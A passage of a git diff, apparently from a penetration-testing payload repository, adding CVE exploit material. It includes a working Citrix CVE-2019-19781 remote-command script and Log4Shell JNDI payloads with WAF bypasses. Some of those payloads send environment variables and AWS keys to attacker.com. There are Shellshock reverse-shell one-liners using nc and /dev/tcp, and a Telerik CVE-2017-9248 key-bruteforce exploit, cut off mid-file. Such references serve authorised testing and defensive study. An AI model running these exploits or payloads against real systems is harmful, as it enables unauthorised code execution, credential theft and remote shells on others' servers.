@@ -46,3 +60,4 @@ Any formula can be started with
|
||||
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
|
||||
* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf)
|
||||
* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html)
|
||||
* [Three New DDE Obfuscation Methods](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
|
||||
|
||||
51
CVE Exploits/Citrix CVE-2019-19781.py
Normal file
@@ -0,0 +1,51 @@
|
||||
#!/usr/bin/env python
|
||||
# https://github.com/mpgn/CVE-2019-19781
|
||||
# # #
|
||||
|
||||
import requests
|
||||
import string
|
||||
import random
|
||||
import re
|
||||
import sys
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
|
||||
print("Found by Mikhail Klyuchnikov")
|
||||
print("")
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("[-] No URL provided")
|
||||
sys.exit(0)
|
||||
|
||||
while True:
|
||||
try:
|
||||
command = input("command > ")
|
||||
|
||||
random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
|
||||
print("[+] Adding bookmark", random_xml + ".xml")
|
||||
|
||||
burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
|
||||
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
|
||||
random_xml, "NSC_NONCE": "c", "Connection": "close"}
|
||||
burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
|
||||
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
|
||||
|
||||
if r.status_code == 200:
|
||||
print("[+] Bookmark added")
|
||||
else:
|
||||
print("\n[-] Target not vulnerable or something went wrong")
|
||||
sys.exit(0)
|
||||
|
||||
burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
|
||||
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
|
||||
random_xml, "NSC_NONCE": "c", "Connection": "close"}
|
||||
r = requests.get(burp0_url, headers=burp0_headers,verify=False)
|
||||
|
||||
replaced = re.sub('^&#.* $', '', r.text, flags=re.MULTILINE)
|
||||
print("[+] Result of the command: \n")
|
||||
print(replaced)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
print("Exiting...")
|
||||
break
|
||||
105
CVE Exploits/Log4Shell.md
Normal file
@@ -0,0 +1,105 @@
|
||||
# CVE-2021-44228 Log4Shell
|
||||
|
||||
> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
|
||||
|
||||
## Summary
|
||||
|
||||
* [Vulnerable code](#vulnerable-code)
|
||||
* [Payloads](#payloads)
|
||||
* [Scanning](#scanning)
|
||||
* [WAF Bypass](#waf-bypass)
|
||||
* [Exploitation](#exploitation)
|
||||
* [Environment variables exfiltration](#environment-variables-exfiltration)
|
||||
* [Remote Command Execution](#remote-command-execution)
|
||||
* [References](#references)
|
||||
|
||||
## Vulnerable code
|
||||
|
||||
You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
|
||||
https://github.com/leonjza/log4jpwn)
|
||||
```java
|
||||
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
|
||||
logger.info("Received a request for API version " + apiVersion);
|
||||
return "Hello, world!";
|
||||
}
|
||||
```
|
||||
|
||||
## Payloads
|
||||
|
||||
```bash
|
||||
# Identify Java version and hostname
|
||||
${jndi:ldap://${java:version}.domain/a}
|
||||
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
|
||||
${jndi:ldap://${sys:java.version}.domain/a}
|
||||
${jndi:ldap://${sys:java.vendor}.domain/a}
|
||||
${jndi:ldap://${hostName}.domain/a}
|
||||
${jndi:dns://${hostName}.domain}
|
||||
|
||||
# More enumerations keywords and variables
|
||||
java:os
|
||||
docker:containerId
|
||||
web:rootDir
|
||||
bundle:config:db.password
|
||||
```
|
||||
|
||||
## Scanning
|
||||
|
||||
* [log4j-scan](https://github.com/fullhunt/log4j-scan)
|
||||
```powershell
|
||||
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
|
||||
[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
|
||||
python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
|
||||
python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
|
||||
```
|
||||
* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
|
||||
|
||||
|
||||
## WAF Bypass
|
||||
|
||||
```powershell
|
||||
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
|
||||
|
||||
# using lower and upper
|
||||
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
|
||||
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
|
||||
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
|
||||
|
||||
# using env to create the letter
|
||||
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
|
||||
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
|
||||
```
|
||||
|
||||
## Exploitation
|
||||
|
||||
### Environment variables exfiltration
|
||||
|
||||
```powershell
|
||||
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
|
||||
|
||||
# AWS Access Key
|
||||
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
|
||||
```
|
||||
|
||||
|
||||
### Remote Command Execution
|
||||
|
||||
* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
|
||||
```ps1
|
||||
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
|
||||
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
|
||||
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
|
||||
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
|
||||
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
|
||||
```
|
||||
* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day/)
|
||||
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
|
||||
* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
|
||||
@@ -1,29 +1,63 @@
|
||||
# Common Vulnerabilities and Exposures
|
||||
|
||||
Big CVEs in the last 5 years.
|
||||
## Big CVEs in the last 5 years.
|
||||
|
||||
## CVE-2014-0160 - Heartbleed
|
||||
### CVE-2017-0144 - EternalBlue
|
||||
|
||||
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
|
||||
EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer.
|
||||
|
||||
## CVE-2014-6271 - Shellshock
|
||||
Afftected systems:
|
||||
- Windows Vista SP2
|
||||
- Windows Server 2008 SP2 and R2 SP1
|
||||
- Windows 7 SP1
|
||||
- Windows 8.1
|
||||
- Windows Server 2012 Gold and R2
|
||||
- Windows RT 8.1
|
||||
- Windows 10 Gold, 1511, and 1607
|
||||
- Windows Server 2016
|
||||
|
||||
Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
|
||||
|
||||
```bash
|
||||
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.0.XX 4444 -e /bin/sh\r\n
|
||||
```
|
||||
|
||||
## CVE-2017-5638 - Apache Struts 2
|
||||
### CVE-2017-5638 - Apache Struts 2
|
||||
|
||||
On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header.
|
||||
|
||||
## CVE-2018-7600 - Drupalgeddon 2
|
||||
### CVE-2018-7600 - Drupalgeddon 2
|
||||
|
||||
A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.
|
||||
|
||||
### CVE-2019-0708 - BlueKeep
|
||||
|
||||
A remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
|
||||
|
||||
### CVE-2019-19781 - Citrix ADC Netscaler
|
||||
|
||||
A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
|
||||
|
||||
Affected products:
|
||||
- Citrix ADC and Citrix Gateway version 13.0 all supported builds
|
||||
- Citrix ADC and NetScaler Gateway version 12.1 all supported builds
|
||||
- Citrix ADC and NetScaler Gateway version 12.0 all supported builds
|
||||
- Citrix ADC and NetScaler Gateway version 11.1 all supported builds
|
||||
- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
|
||||
|
||||
## Older, but not forgotten
|
||||
|
||||
### CVE-2014-0160 - Heartbleed
|
||||
|
||||
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
|
||||
|
||||
### CVE-2014-6271 - Shellshock
|
||||
|
||||
Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
|
||||
|
||||
```powershell
|
||||
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0.0.2 4444 -e /bin/sh\r\n"
|
||||
curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi"
|
||||
```
|
||||
|
||||
## Thanks to
|
||||
|
||||
* [Heartbleed - Official website](http://heartbleed.com)
|
||||
* [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug))
|
||||
* [Imperva Apache Struts analysis](https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
|
||||
* [EternalBlue - Wikipedia](https://en.wikipedia.org/wiki/EternalBlue)
|
||||
* [BlueKeep - Microsoft](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)
|
||||
|
||||
362
CVE Exploits/Telerik CVE-2017-9248.py
Normal file
@@ -0,0 +1,362 @@
|
||||
# Author: Paul Taylor / @bao7uo
|
||||
|
||||
# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
|
||||
|
||||
# dp_crypto - CVE-2017-9248 exploit
|
||||
# Telerik.Web.UI.dll Cryptographic compromise
|
||||
|
||||
# Warning - no cert warnings,
|
||||
# and verify = False in code below prevents verification
|
||||
|
||||
import sys
|
||||
import base64
|
||||
import requests
|
||||
import re
|
||||
import binascii
|
||||
import argparse
|
||||
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
requests_sent = 0
|
||||
char_requests = 0
|
||||
|
||||
|
||||
def getProxy(proxy):
|
||||
return { "http" : proxy, "https" : proxy }
|
||||
|
||||
|
||||
def get_result(plaintext, key, session, pad_chars):
|
||||
global requests_sent, char_requests
|
||||
|
||||
url = args.url
|
||||
base_pad = (len(key) % 4)
|
||||
base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
|
||||
dp_encrypted = base64.b64encode(
|
||||
(encrypt(plaintext, key) + base).encode()
|
||||
).decode()
|
||||
request = requests.Request('GET', url + '?dp=' + dp_encrypted)
|
||||
request = request.prepare()
|
||||
response = session.send(request, verify=False, proxies = getProxy(args.proxy))
|
||||
requests_sent += 1
|
||||
char_requests += 1
|
||||
|
||||
match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
|
||||
return True \
|
||||
if match is not None \
|
||||
and match.group(2) == args.oracle \
|
||||
else False
|
||||
|
||||
def test_keychar(keychar, found, session, pad_chars):
|
||||
base64chars = [
|
||||
"A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
|
||||
"D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
|
||||
"G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
|
||||
"J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
|
||||
"M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
|
||||
"P", "f", "v", "/"
|
||||
]
|
||||
|
||||
duff = False
|
||||
accuracy_thoroughness_threshold = args.accuracy
|
||||
for bc in range(int(accuracy_thoroughness_threshold)):
|
||||
# ^^ max is len(base64chars)
|
||||
sys.stdout.write("\b\b" + base64chars[bc] + "]")
|
||||
sys.stdout.flush()
|
||||
if not get_result(
|
||||
base64chars[0] * len(found) + base64chars[bc],
|
||||
found + keychar, session, pad_chars
|
||||
):
|
||||
duff = True
|
||||
break
|
||||
return False if duff else True
|
||||
|
||||
|
||||
def encrypt(dpdata, key):
|
||||
encrypted = []
|
||||
k = 0
|
||||
for i in range(len(dpdata)):
|
||||
encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
|
||||
k = 0 if k >= len(key) - 1 else k + 1
|
||||
return ''.join(str(e) for e in encrypted)
|
||||
|
||||
|
||||
def mode_decrypt():
|
||||
ciphertext = base64.b64decode(args.ciphertext).decode()
|
||||
key = args.key
|
||||
print(base64.b64decode(encrypt(ciphertext, key)).decode())
|
||||
print("")
|
||||
|
||||
|
||||
def mode_encrypt():
|
||||
plaintext = args.plaintext
|
||||
key = args.key
|
||||
|
||||
plaintext = base64.b64encode(plaintext.encode()).decode()
|
||||
print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
|
||||
print("")
|
||||
|
||||
|
||||
def test_keypos(key_charset, unprintable, found, session):
|
||||
pad_chars = ''
|
||||
for pad_char in range(256):
|
||||
pad_chars += chr(pad_char)
|
||||
|
||||
for i in range(len(pad_chars)):
|
||||
for k in range(len(key_charset)):
|
||||
keychar = key_charset[k]
|
||||
sys.stdout.write("\b"*6)
|
||||
sys.stdout.write(
|
||||
(
|
||||
keychar
|
||||
if unprintable is False
|
||||
else '+'
|
||||
) +
|
||||
") [" + (
|
||||
keychar
|
||||
if unprintable is False
|
||||
else '+'
|
||||
) +
|
||||
"]"
|
||||
)
|
||||
sys.stdout.flush()
|
||||
if test_keychar(keychar, found, session, pad_chars[i] * 3):
|
||||
return keychar
|
||||
return False
|
||||
|
||||
|
||||
def get_key(session):
|
||||
global char_requests
|
||||
found = ''
|
||||
unprintable = False
|
||||
|
||||
key_length = args.key_len
|
||||
key_charset = args.charset
|
||||
if key_charset == 'all':
|
||||
unprintable = True
|
||||
key_charset = ''
|
||||
for i in range(256):
|
||||
key_charset += chr(i)
|
||||
else:
|
||||
if key_charset == 'hex':
|
||||
key_charset = '01234567890ABCDEF'
|
||||
|
||||
print("Attacking " + args.url)
|
||||
print(
|
||||
"to find key of length [" +
|
||||
str(key_length) +
|
||||
"] with accuracy threshold [" +
|
||||
str(args.accuracy) +
|
||||
"]"
|
||||
)
|
||||
print(
|
||||
"using key charset [" +
|
||||
(
|
||||
key_charset
|
||||
if unprintable is False
|
||||
else '- all ASCII -'
|
||||
) +
|
||||
"]\n"
|
||||
)
|
||||
for i in range(int(key_length)):
|
||||
pos_str = (
|
||||
str(i + 1)
|
||||
if i > 8
|
||||
else "0" + str(i + 1)
|
||||
)
|
||||
sys.stdout.write("Key position " + pos_str + ": (------")
|
||||
sys.stdout.flush()
|
||||
keychar = test_keypos(key_charset, unprintable, found, session)
|
||||
if keychar is not False:
|
||||
found = found + keychar
|
||||
sys.stdout.write(
|
||||
"\b"*7 + "{" +
|
||||
(
|
||||
keychar
|
||||
if unprintable is False
|
||||
else '0x' + binascii.hexlify(keychar.encode()).decode()
|
||||
) +
|
||||
"} found with " +
|
||||
str(char_requests) +
|
||||
" requests, total so far: " +
|
||||
str(requests_sent) +
|
||||
"\n"
|
||||
)
|
||||
sys.stdout.flush()
|
||||
char_requests = 0
|
||||
else:
|
||||
sys.stdout.write("\b"*7 + "Not found, quitting\n")
|
||||
sys.stdout.flush()
|
||||
break
|
||||
if keychar is not False:
|
||||
print("Found key: " +
|
||||
(
|
||||
found
|
||||
if unprintable is False
|
||||
else "(hex) " + binascii.hexlify(found.encode()).decode()
|
||||
)
|
||||
)
|
||||
print("Total web requests: " + str(requests_sent))
|
||||
return found
|
||||
|
||||
|
||||
def mode_brutekey():
|
||||
session = requests.Session()
|
||||
found = get_key(session)
|
||||
|
||||
if found == '':
|
||||
return
|
||||
else:
|
||||
urls = {}
|
||||
url_path = args.url
|
||||
params = (
|
||||
'?DialogName=DocumentManager' +
|
||||
'&renderMode=2' +
|
||||
'&Skin=Default' +
|
||||
'&Title=Document%20Manager' +
|
||||
'&dpptn=' +
|
||||
'&isRtl=false' +
|
||||
'&dp='
|
||||
)
|
||||
versions = [
|
||||
'2007.1423', '2007.1521', '2007.1626', '2007.2918',
|
||||
'2007.21010', '2007.21107', '2007.31218', '2007.31314',
|
||||
'2007.31425', '2008.1415', '2008.1515', '2008.1619',
|
||||
'2008.2723', '2008.2826', '2008.21001', '2008.31105',
|
||||
'2008.31125', '2008.31314', '2009.1311', '2009.1402',
|
||||
'2009.1527', '2009.2701', '2009.2826', '2009.31103',
|
||||
'2009.31208', '2009.31314', '2010.1309', '2010.1415',
|
||||
'2010.1519', '2010.2713', '2010.2826', '2010.2929',
|
||||
'2010.31109', '2010.31215', '2010.31317', '2011.1315',
|
||||
'2011.1413', '2011.1519', '2011.2712', '2011.2915',
|
||||
'2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
|
||||
'2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
|
||||
'2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
|
||||
'2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
|
||||
'2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
|
||||
'2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
|
||||
'2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
|
||||
'2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
|
||||
'2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
|
||||
'2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
|
||||
'2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
|
||||
'2017.3.913'
|
||||
]
|
||||
|
||||
plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
|
||||
plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
|
||||
plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
|
||||
plaintext3 = ';AllowMultipleSelection,False,3,False'
|
||||
|
||||
if len(args.version) > 0:
|
||||
versions = [args.version]
|
||||
|
||||
for version in versions:
|
||||
plaintext2_raw2 = version
|
||||
plaintext2 = base64.b64encode(
|
||||
(plaintext2_raw1 +
|
||||
plaintext2_raw2 +
|
||||
plaintext2_raw3
|
||||
).encode()
|
||||
).decode()
|
||||
plaintext = plaintext1 + plaintext2 + plaintext3
|
||||
plaintext = base64.b64encode(
|
||||
plaintext.encode()
|
||||
).decode()
|
||||
ciphertext = base64.b64encode(
|
||||
encrypt(
|
||||
plaintext,
|
||||
found
|
||||
).encode()
|
||||
).decode()
|
||||
full_url = url_path + params + ciphertext
|
||||
urls[version] = full_url
|
||||
|
||||
found_valid_version = False
|
||||
for version in urls:
|
||||
url = urls[version]
|
||||
request = requests.Request('GET', url)
|
||||
request = request.prepare()
|
||||
response = session.send(request, verify=False, proxies=getProxy(args.proxy))
|
||||
if response.status_code == 500:
|
||||
continue
|
||||
else:
|
||||
match = re.search(
|
||||
"(Error Message:)(.+\n*.+)(</div>)",
|
||||
response.text
|
||||
)
|
||||
if match is None:
|
||||
print(version + ": " + url)
|
||||
found_valid_version = True
|
||||
break
|
||||
|
||||
if not found_valid_version:
|
||||
print("No valid version found")
|
||||
|
||||
def mode_samples():
|
||||
print("Samples for testing decryption and encryption functions:")
|
||||
print("-d ciphertext key")
|
||||
print("-e plaintext key")
|
||||
print("")
|
||||
print("Key:")
|
||||
print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
|
||||
print("")
|
||||
print("Plaintext:")
|
||||
print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
|
||||
print("")
|
||||
print("Ciphertext:")
|
||||
print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
|
||||
print("")
|
||||
|
||||
|
||||
def mode_b64e():
|
||||
print(base64.b64encode(args.parameter.encode()).decode())
|
||||
print("")
|
||||
|
||||
|
||||
def mode_b64d():
|
||||
print(base64.b64decode(args.parameter.encode()).decode())
|
||||
print("")
|
||||
|
||||
sys.stderr.write(
|
||||
"\ndp_crypto by Paul Taylor / @bao7uo\nCVE-2017-9248 - " +
|
||||
"Telerik.Web.UI.dll Cryptographic compromise\n\n"
|
||||
)
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
subparsers = p.add_subparsers()
|
||||
|
||||
decrypt_parser = subparsers.add_parser('d', help='Decrypt a ciphertext')
|
||||
decrypt_parser.set_defaults(func=mode_decrypt)
|
||||
decrypt_parser.add_argument('ciphertext', action='store', type=str, default='', help='Ciphertext to decrypt')
|
||||
decrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
|
||||
|
||||
encrypt_parser = subparsers.add_parser('e', help='Encrypt a plaintext')
|
||||
encrypt_parser.set_defaults(func=mode_encrypt)
|
||||
encrypt_parser.add_argument('plaintext', action='store', type=str, default='', help='Ciphertext to decrypt')
|
||||
encrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
|
||||
|
||||
brute_parser = subparsers.add_parser('k', help='Bruteforce key/generate URL')
|
||||
brute_parser.set_defaults(func=mode_brutekey)
|
||||
brute_parser.add_argument('-u', '--url', action='store', type=str, help='Target URL')
|
||||
brute_parser.add_argument('-l', '--key-len', action='store', type=int, default=48, help='Len of the key to retrieve, OPTIONAL: default is 48')
|
||||
brute_parser.add_argument('-o', '--oracle', action='store', type=str, default='Index was outside the bounds of the array.', help='The oracle text to use. OPTIONAL: default value is for english version, other languages may have other error message')
|
||||
brute_parser.add_argument('-v', '--version', action='store', type=str, default='', help='OPTIONAL. Specify the version to use rather than iterating over all of them')
|
||||
brute_parser.add_argument('-c', '--charset', action='store', type=str, default='hex', help='Charset used by the key, can use all, hex, or user defined. OPTIONAL: default is hex')
|
||||
brute_parser.add_argument('-a', '--accuracy', action='store', type=int, default=9, help='Maximum accuracy is out of 64 where 64 is the most accurate, \
|
||||
